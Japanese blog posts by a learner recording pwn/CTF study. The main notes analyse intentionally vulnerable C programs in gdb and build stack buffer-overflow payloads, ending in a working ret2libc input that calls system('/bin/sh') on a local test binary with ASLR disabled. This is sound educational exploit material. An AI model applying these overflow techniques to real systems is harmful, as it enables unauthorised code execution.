登竜門的なものを叩いてみる話 #01

書き出し

「Pwnをしてみたい。」

と思ったのでctf4u のpwn challenges listを進めてみる。

本文

villager Bが解けたらブログを書こうと思っていたのですが、少し長引きそうだなと思ったので、先にvillager Aを解いたことを報告するブログを書こうと思い書きました。

Playする前にハロー“Hello, World"OSと標準ライブラリのシゴトとしくみとハリネズミ本に目を通していたのでそこまで不便することなく解けました。

各本で助かったこと

ハロー“Hello, World"OSと標準ライブラリのシゴトとしくみ

  • GDBの使い方をあまり意識せずに使えるようになっていた。
  • 引数を含めたStackの構造を先に学んでいたので、ハリネズミ本で言っている内容がすんなり入る。

ハリネズミ

  • 調査の仕方や、exploit codeの書き方などが学べた。
  • セキュリティ機構などについてまとめられていて、調査の手法など多くを得られた。
  • eipを制御下に置く方法について触れられた。(模擬的なcall)
  • ちょっとだけx86に抵抗感がなくなった。

所感

villager Aとvillager Bの難易度の差に少しびっくりしていますが、今後も少しづつ進めていきたい。

バッファオーバーフロー入門のためにしたメモ その2

書き出し

前回の継続で勉強した内容を書き出す記事です。

azara.hatenablog.com

環境

$ cat /etc/os-release 
NAME="Ubuntu"
VERSION="14.04, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

$ uname -a
Linux nori 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ sudo sysctl -w kernel.randomize_va_space=0

$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.4) 4.8.4
Copyright (C) 2013 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

実験

実験コード

#include<stdio.h>
#include<string.h>

char buf[64];

int
main()
{
    char local[64];
    printf("buffer 0x%x \n",&buf);
    fgets(local,128,stdin);
    strcpy(buf,local);
    return 0;
}

観察

前回の観察で実際にバッファーから値が漏れ出すことを確認できたので、それをもう少し知識を深くしていく。

[1] 溢れ出た値の確認

先の実験でも確認していた実効アドレス(EIP)の書き換えを行うと指定したアドレスに飛んでくれるそうなのでそれを悪用していこうと思う。

アドレスを書き換えられた様子

$ python -c 'print("A"*70)' | strace -i ./ret 
[00007ffff7ad6137] execve("./ret", ["./ret"], [/* 21 vars */]) = 0
[ Process PID=16520 runs in 32 bit mode. ]
[f7ff1ee9] brk(0)                       = 0x804b000
[f7ff3a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[f7ff3b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fda000
~~~中略~~~
[f7fdb430] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
[f7fdb430] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd8000
[f7fdb430] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 81
[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
[????????????????] +++ killed by SIGSEGV (core dumped) +++
Segmentation fault (コアダンプ)

実際に動かすに際し、このようなアドレスにブレークポイントを設置する。

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804849d <+0>:  push   ebp
   0x0804849e <+1>:  mov    ebp,esp
   0x080484a0 <+3>:  and    esp,0xfffffff0
   0x080484a3 <+6>:  sub    esp,0x50
   0x080484a6 <+9>:  mov    DWORD PTR [esp+0x4],0x804a060
   0x080484ae <+17>: mov    DWORD PTR [esp],0x8048590
   0x080484b5 <+24>: call   0x8048350 <printf@plt>
   0x080484ba <+29>: mov    eax,ds:0x804a040
   0x080484bf <+34>: mov    DWORD PTR [esp+0x8],eax
   0x080484c3 <+38>: mov    DWORD PTR [esp+0x4],0x80
   0x080484cb <+46>: lea    eax,[esp+0x10]
   0x080484cf <+50>: mov    DWORD PTR [esp],eax
   0x080484d2 <+53>: call   0x8048360 <fgets@plt>
   0x080484d7 <+58>: lea    eax,[esp+0x10]
   0x080484db <+62>: mov    DWORD PTR [esp+0x4],eax
   0x080484df <+66>: mov    DWORD PTR [esp],0x804a060
   0x080484e6 <+73>: call   0x8048370 <strcpy@plt>
   0x080484eb <+78>: mov    eax,0x0
   0x080484f0 <+83>: leave  
   0x080484f1 <+84>: ret    
End of assembler dump.
gdb-peda$ b main 
Breakpoint 1 at 0x80484a0
gdb-peda$ b *main+53
Breakpoint 2 at 0x80484d2
gdb-peda$ b *main+83
Breakpoint 3 at 0x80484f0

プログラム起動直後のスタック領域としては次のようになるだろう。

0x00000000方向
低位アドレス
    +------------------+
    |buf[0x50]      | アドレスに入っていたデータ
    +------------------+
    |Saved EBP         | 0x00000000
    +------------------+
    |Return Address    | 0xf7e2caf3 in __libc_start_main () 
    +------------------+
0xffffffff方向
高位アドレス

入力をしてスタックの様子を確認しよう。 入力値として今回は'A'*70を入力

gdb-peda$ where
#0  0x080484d7 in main ()
#1  0xf7e2caf3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#2  0x080483c1 in _start ()
gdb-peda$ x/32xw $esp
0xffffd670: 0xffffd680  0x00000080  0xf7fc0c20  0xf7e462f3
0xffffd680: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd690: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6b0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6c0: 0x41414141  0x000a4141  0x00000000  0xf7e2caf3
0xffffd6d0: 0x00000001  0xffffd764  0xffffd76c  0xf7feae6a
0xffffd6e0: 0x00000001  0xffffd764  0xffffd704  0x0804a01c

確保した領域からは完全にはみ出しているが、 0x080484a0 <+3>: and esp,0xfffffff0で揃えられた領域で受け止めているのでSaved EBP とReturn Address は汚染されていない。

書き換えまでおおよそ10文字程度であると考えるのでpython -c 'print("A"*76+[address])'で任意のアドレスに飛びそうだと考えられる。

まずは実際に動くのかを確認するためにmain() の際呼び出しをしていく。

[2] アドレスの書き換え

アドレスを書き換えるために飛ばしたい先のアドレスをリトルエンディアンに変更しなければならない。

もしかするとどこかに良いツールがあったりコマンドがあるのかもしれないが、作ってしまった方が早いと思い、\x数値のような形で変換するツールを作った。

これを実際に利用してアドレスを変換しつつ、アドレスの書き換えが可能なのか確認する。

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|./ret
buffer 0x804a060 
buffer 0x804a060 
Segmentation fault (コアダンプ)

実際に2度動いた。

確認のためにstraceをかませてみよう。

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|strace -i ./ret
[00007ffff7ad6137] execve("./ret", ["./ret"], [/* 21 vars */]) = 0
[ Process PID=17009 runs in 32 bit mode. ]
[f7ff1ee9] brk(0)                       = 0x804b000
[f7ff3a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[f7ff3b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fda000
[f7ff3a81] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
[f7ff3984] open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
[f7ff390d] fstat64(3, {st_mode=S_IFREG|0644, st_size=89006, ...}) = 0
[f7ff3b53] mmap2(NULL, 89006, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff7fc4000
~~~中略~~~
[f7fdb430] write(1, "buffer 0x804a060 \n", 18buffer 0x804a060 
) = 18
[f7fdb430] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
[f7fdb430] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd8000
[f7fdb430] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 81
[f7fdb430] write(1, "buffer 0x804a060 \n", 18buffer 0x804a060 
) = 18
[f7fdb430] read(0, "", 4096)            = 0
[0000000a] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xa} ---
[????????????????] +++ killed by SIGSEGV (core dumped) +++
Segmentation fault (コアダンプ)

f7fdb430が2度確認できるので実際に2度動作したことがわかった。

[3] 任意の命令実行

Returnアドレスの変化を確認したので実行ファイル内に存在する命令を呼び出してみる。

はじめにPLT(Procedure Linkage Table)内部のアドレスに書き換えてみる。

  • ざっくり自分用メモ PLT : プログラムが実行する関数を一覧としてまとめたもの。

まずはobjdumpでplt内部のアドレス情報を把握する。

$ objdump -d -j .plt --no ret

ret:     ファイル形式 elf32-i386


セクション .plt の逆アセンブル:

08048340 <printf@plt-0x10>:
 8048340:  pushl  0x804a004
 8048346:  jmp    *0x804a008
 804834c:   add    %al,(%eax)
    ...

08048350 <printf@plt>:
 8048350:  jmp    *0x804a00c
 8048356:  push   $0x0
 804835b:   jmp    8048340 <_init+0x28>

08048360 <fgets@plt>:
 8048360:  jmp    *0x804a010
 8048366:  push   $0x8
 804836b:   jmp    8048340 <_init+0x28>

08048370 <strcpy@plt>:
 8048370:  jmp    *0x804a014
 8048376:  push   $0x10
 804837b:   jmp    8048340 <_init+0x28>

08048380 <__gmon_start__@plt>:
 8048380:  jmp    *0x804a018
 8048386:  push   $0x18
 804838b:   jmp    8048340 <_init+0x28>

08048390 <__libc_start_main@plt>:
 8048390:  jmp    *0x804a01c
 8048396:  push   $0x20
 804839b:   jmp    8048340 <_init+0x28>

今回はprintを実行するので、先ほどのecho -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|./retにアドレスをと必要なものを書き足していく。

関数の実行時には、引数が必要な場合があるので、それも考慮しながらアドレスを配置する。

このアドレスの配置の際、mainのret命令が擬似call命令となるため、そこを見落としてはならない。

0x00000000方向
低位アドレス
    +------------------+
    |buf[0x50]      | 0x41414141 ...
    +------------------+
    |Saved EBP         | 0x41414141
    +------------------+
    |Return Address    | 0x08048350 printf@plt : 擬似的なcall
    +------------------+
    |擬似call ret add   | 0x080484ae main
    +------------------+
    |call arg1         | 0x0804a060 変数buf
    +------------------+
    |call arg2         | ?
    +------------------+
0xffffffff方向
高位アドレス

そして実際に実行してみる。

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08\xae\x84\x04\x08\x60\xa0\x04\x08'|./ret
buffer 0x804a060 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?`?
buffer 0xffff000a 
Segmentation fault (コアダンプ)

入力した値と、bufferのアドレスが表示されたので想定通りの動きにはなっている。ここで2度目のbufferが変化していることに気づくが今回は触れないでおく。

次に実行ファイルにリンクしているlibcから命令を呼び出してみる。

実際に実行ファイル内にlibcが確認できるのでこれらを先ほどのアドレスに当てはめていく。

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e53310 <system>
gdb-peda$ p printf
$2 = {<text variable, no debug info>} 0xf7e60410 <printf>
gdb-peda$ p fgets
$3 = {<text variable, no debug info>} 0xf7e76ca0 <fgets>
gdb-peda$ p malloc
$4 = {<text variable, no debug info>} 0xf7ff1810 <malloc>

今回はシェルを立ち上げるために/bin/sh #を先頭に割り当て、systemでそれを実行する。

0x00000000方向
低位アドレス
    +------------------+
    |buf[0x50]      | 0x6e69622f 0x2068732f 0x00000a23 0x41414141 ...
    +------------------+
    |Saved EBP         | 0x41414141
    +------------------+
    |Return Address    | 0xf7e53310 <system> : 擬似的なcall
    +------------------+
    |擬似call ret add   | 0x080484ae main
    +------------------+
    |call arg1         | 0x0804a060 変数buf
    +------------------+
    |call arg2         | ?
    +------------------+
0xffffffff方向
高位アドレス

そして実際に実行してみる。

$ (echo -e '/bin/sh #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x33\xe5\xf7\xae\x84\x04\x08\x60\xa0\x04\x08'; cat)|./ret
buffer 0x804a060 
ls
gadget  gadget.c  peda-session-ret.txt  ret  ret.c  test
exit
buffer 0xffff000a 
ls
exit
Segmentation fault (コアダンプ)

シェルの起動を確認し、コマンド入力も可能なことがわかった。

今回のメモはここまで。

参考書籍/サイト

ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ

Debugging with GDB - データの検査

セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方

バッファオーバーフロー入門のためにしたメモ

書き出し

低い分野の脆弱性が理解できていないので実際にやった実験とそれを実況形式で書き示します。

環境

$ cat /etc/os-release 
NAME="Ubuntu"
VERSION="14.04, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

$ uname -a
Linux nori 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

実験

実験用コード

buf_over.c

#include<stdio.h>
int 
main(int argc,char *argv[])
{
    char buf[64];//※1
    printf("start fgets.\n");
    fgets(buf,128,stdin);//※2
    printf("\nend fgets.\n");
    printf(buf); 
    return 0;
}

3番目のprintf(3)で書式文字列攻撃ができそうだけどここでは確認用なので放置。

※1 : 関数内変数を文字型で64バイト
※2 : fgets(3)で標準入力を受けるも128バイトと大幅なサイズオーバー

観察

Hello Worldなどを読んで若干ではあるがStackの動きやメモリへの書き込みを学んでいるので、ここで少し考察をしながら確認をして行こうと考えます。

[1] buf[64]の確保

main関数内で定義されたbuf[64]は、スタックフレーム上にメモリ空間を確保すると思われる。

おおよそasmでのこの部分で確保しているのであろう。

   0x0804849d <+0>:  push   ebp
   0x0804849e <+1>:  mov    ebp,esp
   0x080484a0 <+3>:  and    esp,0xfffffff0
=> 0x080484a3 <+6>:  sub    esp,0x50 //ここで変数の確保
   0x080484a6 <+9>:  mov    DWORD PTR [esp],0x8048580

実際にフレームを感が思い浮かべてみるとこのような形になるのだろうか。

0x00000000方向
低位アドレス
    +------------------+
    |buffer[64]        |
    +------------------+
    |Saved EBP         |
    +------------------+
    |Return Address    |
    +------------------+
0xffffffff方向
高位アドレス

それでは実施のリターンアドレスはどのように格納されているのだろうか?それを確認しに行こう。

gdb-peda$ where
#0  0x080484ca in main ()
#1  0xf7e2caf3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#2  0x080483c1 in _start ()

バックとレースではこのように表示されている。 それでは実際のスタック領域ではどのようになっているのだろうか。

gdb-peda$ x/64xw $esp
0xffffd680:    0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3
0xffffd690:    0x00000000 0x00c30000 0x00000001 0x08048321
0xffffd6a0:    0xffffd894 0x0000002f 0x0804a000 0x08048542
0xffffd6b0:    0x00000001 0xffffd774 0xffffd77c 0xf7e464ad
0xffffd6c0:    0xf7fc03c4 0xf7ffd000 0x080484fb 0xf7fc0000
0xffffd6d0:    0x080484f0 0x00000000 0x00000000 0xf7e2caf3
0xffffd6e0:    0x00000001 0xffffd774 0xffffd77c 0xf7feae6a
0xffffd6f0:    0x00000001 0xffffd774 0xffffd714 0x0804a01c
0xffffd700:    0x08048250 0xf7fc0000 0x00000000 0x00000000
0xffffd710:    0x00000000 0x50781f72 0x6a40bb62 0x00000000
0xffffd720:    0x00000000 0x00000000 0x00000001 0x080483a0
0xffffd730:    0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000
0xffffd740:    0x00000001 0x080483a0 0x00000000 0x080483c1
0xffffd750:    0x0804849d 0x00000001 0xffffd774 0x080484f0
0xffffd760:    0x08048560 0xf7feb300 0xffffd76c 0x0000001c
0xffffd770:    0x00000001 0xffffd894 0x00000000 0xffffd8a9

0xffffd6d0の行で6列目にwhereによって確認された0xf7e2caf3を発見。

つまるところこの位置が目印となるReturn Addressになる。

※ 自分用メモ : sub esp,0x50 でポインタを移動させているだけなのでメモリ内部は初期化されていない。

f:id:oukasakura3:20190128221824p:plain
ローカル変数のメモリ領域を確保するまで

[2] buf[64]への書き込み

実際に書き込みをしてみる。

このままgdbを進めてみると、fgets(3)が作動する。

   0x080484c7 <+42>:    mov    DWORD PTR [esp],eax
   0x080484ca <+45>:    call   0x8048360 <fgets@plt>
=> 0x080484cf <+50>:    mov    DWORD PTR [esp],0x804858d

実際にA*64を入力してみて、64も自分のメモリ空間を埋めてみる。

すると、メモリ領域に変化が見えた。

ESP: 0xffffd680 --> 0xffffd690 ('A' <repeats 15 times>...)

ESPでは0xffffd680のアドレスをさしており、そのアドレスが参照しているアドレスが0xffffd690となる。

実際にそのアドレスを見てみると、

gdb-peda$ x/64xw $esp
0xffffd680:    0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3
0xffffd690:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6a0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6b0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6c0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6d0:    0x0804000a 0x00000000 0x00000000 0xf7e2caf3
0xffffd6e0:    0x00000001 0xffffd774 0xffffd77c 0xf7feae6a
0xffffd6f0:    0x00000001 0xffffd774 0xffffd714 0x0804a01c
0xffffd700:    0x08048250 0xf7fc0000 0x00000000 0x00000000
0xffffd710:    0x00000000 0x9ce8c9fd 0xa6d06ded 0x00000000
0xffffd720:    0x00000000 0x00000000 0x00000001 0x080483a0
0xffffd730:    0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000
0xffffd740:    0x00000001 0x080483a0 0x00000000 0x080483c1
0xffffd750:    0x0804849d 0x00000001 0xffffd774 0x080484f0
0xffffd760:    0x08048560 0xf7feb300 0xffffd76c 0x0000001c
0xffffd770:    0x00000001 0xffffd894 0x00000000 0xffffd8a9

そう0x414141....とメモリ空間を埋めている。64文字分しっかりと埋めていた。

この入力を実際に実行ファイルに入力してみる。

$ python -c 'print("A"*64)'|./buf 
start fgets.

end fgets.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

問題なく終了した。それでは、64文字以上の文字列を入れたらどうなるのだろうか?ここで初歩的な疑問にやっとのことたどり着いた。

[3] 過剰な入力

それではどれほど入力してみようか、と私は考える。はじめはできる限り多めの入力をしておこう。

ならば上限である128文字を入力しよう。

$ python -c 'print("A"*128)'| ./buf 
start fgets.

end fgets.
Segmentation fault (コアダンプ)

まぁ、そうなりますはな....

gdbで実際に見てみよう。

gdb-peda$ x/64xw $esp
0xffffd680:    0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3
0xffffd690:    0x00000000 0x00c30000 0x00000001 0x08048321
0xffffd6a0:    0xffffd894 0x0000002f 0x0804a000 0x08048542
0xffffd6b0:    0x00000001 0xffffd774 0xffffd77c 0xf7e464ad
0xffffd6c0:    0xf7fc03c4 0xf7ffd000 0x080484fb 0xf7fc0000
0xffffd6d0:    0x080484f0 0x00000000 0x00000000 0xf7e2caf3
0xffffd6e0:    0x00000001 0xffffd774 0xffffd77c 0xf7feae6a
0xffffd6f0:    0x00000001 0xffffd774 0xffffd714 0x0804a01c
0xffffd700:    0x08048250 0xf7fc0000 0x00000000 0x00000000
0xffffd710:    0x00000000 0x818fa802 0xbbb70c12 0x00000000
0xffffd720:    0x00000000 0x00000000 0x00000001 0x080483a0
0xffffd730:    0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000
0xffffd740:    0x00000001 0x080483a0 0x00000000 0x080483c1
0xffffd750:    0x0804849d 0x00000001 0xffffd774 0x080484f0
0xffffd760:    0x08048560 0xf7feb300 0xffffd76c 0x0000001c
0xffffd770:    0x00000001 0xffffd894 0x00000000 0xffffd8a9
gdb-peda$ n
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[-----------------------------------registers-----------------------------------]
EAX: 0xffffd690 ('A' <repeats 15 times>...)
EBX: 0xf7fc0000 --> 0x1acda8 
ECX: 0xffffd690 ('A' <repeats 15 times>...)
EDX: 0xf7fc18a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd6d8 ('A' <repeats 15 times>...)
ESP: 0xffffd680 --> 0xffffd690 ('A' <repeats 15 times>...)
EIP: 0x80484cf (<main+50>:  mov    DWORD PTR [esp],0x804858d)
[-------------------------------------code--------------------------------------]
   0x80484c3 <main+38>:  lea    eax,[esp+0x10]
   0x80484c7 <main+42>:  mov    DWORD PTR [esp],eax
   0x80484ca <main+45>:  call   0x8048360 <fgets@plt>
=> 0x80484cf <main+50>:  mov    DWORD PTR [esp],0x804858d
   0x80484d6 <main+57>:  call   0x8048370 <puts@plt>
   0x80484db <main+62>:  lea    eax,[esp+0x10]
   0x80484df <main+66>:  mov    DWORD PTR [esp],eax
   0x80484e2 <main+69>:  call   0x8048350 <printf@plt>
[-------------------------------------stack-------------------------------------]
00:0000| esp     0xffffd680 --> 0xffffd690 ('A' <repeats 15 times>...)
01:0004|         0xffffd684 --> 0x80 
02:0008|         0xffffd688 --> 0xf7fc0c20 --> 0xfbad2288 
03:0012|         0xffffd68c --> 0xf7e462f3 (add    ebx,0x179d0d)
04:0016| ecx eax 0xffffd690 ('A' <repeats 15 times>...)
05:0020|         0xffffd694 ('A' <repeats 15 times>...)
06:0024|         0xffffd698 ('A' <repeats 15 times>...)
07:0028|         0xffffd69c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484cf in main ()
gdb-peda$ x/64xw $esp
0xffffd680:    0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3
0xffffd690:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6a0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6b0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6c0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6d0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6e0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6f0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd700:    0x41414141 0x41414141 0x41414141 0x00414141
0xffffd710:    0x00000000 0x818fa802 0xbbb70c12 0x00000000
0xffffd720:    0x00000000 0x00000000 0x00000001 0x080483a0
0xffffd730:    0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000
0xffffd740:    0x00000001 0x080483a0 0x00000000 0x080483c1
0xffffd750:    0x0804849d 0x00000001 0xffffd774 0x080484f0
0xffffd760:    0x08048560 0xf7feb300 0xffffd76c 0x0000001c
0xffffd770:    0x00000001 0xffffd894 0x00000000 0xffffd8a9

圧倒的塗りつぶし!

0x41(A)で塗りつぶされてReturn Address まで塗りつぶされました。

[4] どこでSegmentation fault?

では実際にどこでSegmentation faultが発生したのか?僕としてはそこが気になりました。

gdbを先に進めましょう。

fgets(3)の後にバックとレースをしてみますと、汚染が常に進んでおり、retに0x414141...がたむろする状況。

gdb-peda$ where
#0  0x080484cf in main ()
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()
#3  0x41414141 in ?? ()
#4  0x41414141 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()
#7  0x41414141 in ?? ()
#8  0x41414141 in ?? ()
#9  0x41414141 in ?? ()
#10 0x41414141 in ?? ()
#11 0x41414141 in ?? ()
#12 0x41414141 in ?? ()
#13 0x00414141 in ?? ()
#14 0x00000000 in ?? ()

この時点では、#1のリターンアドレス、つまりmain()終了時のret時にSegmentation faultが発生するのではないかと今の所は考えている。

では、進めよう。

実際にその通りなのかもしれない。

[-----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1acda8 
ECX: 0x0 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 (b'AAAA')
ESP: 0xffffd6dc ('A' <repeats 15 times>...)
EIP: 0x80484ed (<main+80>:  ret)
[-------------------------------------code--------------------------------------]
   0x80484e2 <main+69>:  call   0x8048350 <printf@plt>
   0x80484e7 <main+74>:  mov    eax,0x0
   0x80484ec <main+79>:  leave  
=> 0x80484ed <main+80>:  ret    
   0x80484ee:   xchg   ax,ax
   0x80484f0 <__libc_csu_init>:   push   ebp
   0x80484f1 <__libc_csu_init+1>:    push   edi
   0x80484f2 <__libc_csu_init+2>:    xor    edi,edi
[-------------------------------------stack-------------------------------------]
00:0000| esp 0xffffd6dc ('A' <repeats 15 times>...)
01:0004|     0xffffd6e0 ('A' <repeats 15 times>...)
02:0008|     0xffffd6e4 ('A' <repeats 15 times>...)
03:0012|     0xffffd6e8 ('A' <repeats 15 times>...)
04:0016|     0xffffd6ec ('A' <repeats 15 times>...)
05:0020|     0xffffd6f0 ('A' <repeats 15 times>...)
06:0024|     0xffffd6f4 ('A' <repeats 15 times>...)
07:0028|     0xffffd6f8 ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484ed in main ()
gdb-peda$ where
#0  0x080484ed in main ()
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()
#3  0x41414141 in ?? ()
#4  0x41414141 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()
#7  0x41414141 in ?? ()
#8  0x41414141 in ?? ()
#9  0x41414141 in ?? ()
#10 0x41414141 in ?? ()
#11 0x41414141 in ?? ()
#12 0x41414141 in ?? ()
#13 0x00414141 in ?? ()
#14 0x00000000 in ?? ()
gdb-peda$ disas
Dump of assembler code for function main:
   0x0804849d <+0>:  push   ebp
   0x0804849e <+1>:  mov    ebp,esp
   0x080484a0 <+3>:  and    esp,0xfffffff0
   0x080484a3 <+6>:  sub    esp,0x50
   0x080484a6 <+9>:  mov    DWORD PTR [esp],0x8048580
   0x080484ad <+16>: call   0x8048370 <puts@plt>
   0x080484b2 <+21>: mov    eax,ds:0x804a028
   0x080484b7 <+26>: mov    DWORD PTR [esp+0x8],eax
   0x080484bb <+30>: mov    DWORD PTR [esp+0x4],0x80
   0x080484c3 <+38>: lea    eax,[esp+0x10]
   0x080484c7 <+42>: mov    DWORD PTR [esp],eax
   0x080484ca <+45>: call   0x8048360 <fgets@plt>
   0x080484cf <+50>: mov    DWORD PTR [esp],0x804858d
   0x080484d6 <+57>: call   0x8048370 <puts@plt>
   0x080484db <+62>: lea    eax,[esp+0x10]
   0x080484df <+66>: mov    DWORD PTR [esp],eax
   0x080484e2 <+69>: call   0x8048350 <printf@plt>
   0x080484e7 <+74>: mov    eax,0x0
   0x080484ec <+79>: leave  
=> 0x080484ed <+80>: ret    
End of assembler dump.

retに至った時点で常にebpが0x414141...となっておりこのまま進めてもSegmentation faultとなるであろう。

その後実際にstep inで実行してみると、

gdb-peda$ si
[-----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fc0000 --> 0x1acda8 
ECX: 0x0 
EDX: 0xf7fc1898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41414141 (b'AAAA')
ESP: 0xffffd6e0 ('A' <repeats 15 times>...)
EIP: 0x41414141 (b'AAAA')
[-------------------------------------code--------------------------------------]
Invalid $PC address: 0x41414141
[-------------------------------------stack-------------------------------------]
00:0000| esp 0xffffd6e0 ('A' <repeats 15 times>...)
01:0004|     0xffffd6e4 ('A' <repeats 15 times>...)
02:0008|     0xffffd6e8 ('A' <repeats 15 times>...)
03:0012|     0xffffd6ec ('A' <repeats 15 times>...)
04:0016|     0xffffd6f0 ('A' <repeats 15 times>...)
05:0020|     0xffffd6f4 ('A' <repeats 15 times>...)
06:0024|     0xffffd6f8 ('A' <repeats 15 times>...)
07:0028|     0xffffd6fc ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x41414141 in ?? ()

となっておりEIPの汚染を確実に可能とした。

結論

スタック状に格納されるローカル変数を汚染するための方法を理解できたと思う。

次はもう少し攻撃的なものを覚えたい。

参考書籍/サイト

ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ Debugging with GDB - データの検査 セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方

MBSD Cyber Security Challenge 2018 のレポートの話

書き出し

昨年参加したMBSD Cyber Security Challenge 2018のレポートを公開するか否かを考えて約1ヶ月、多くのチームとともに公開できればと思い公開しました。

焦り書きましたので、誤字脱字が多く読みにくいと思いますが温かい目で見守っていただければ幸いです。

参加記録

azara.hatenablog.com

本題

ダウンロードはこちら
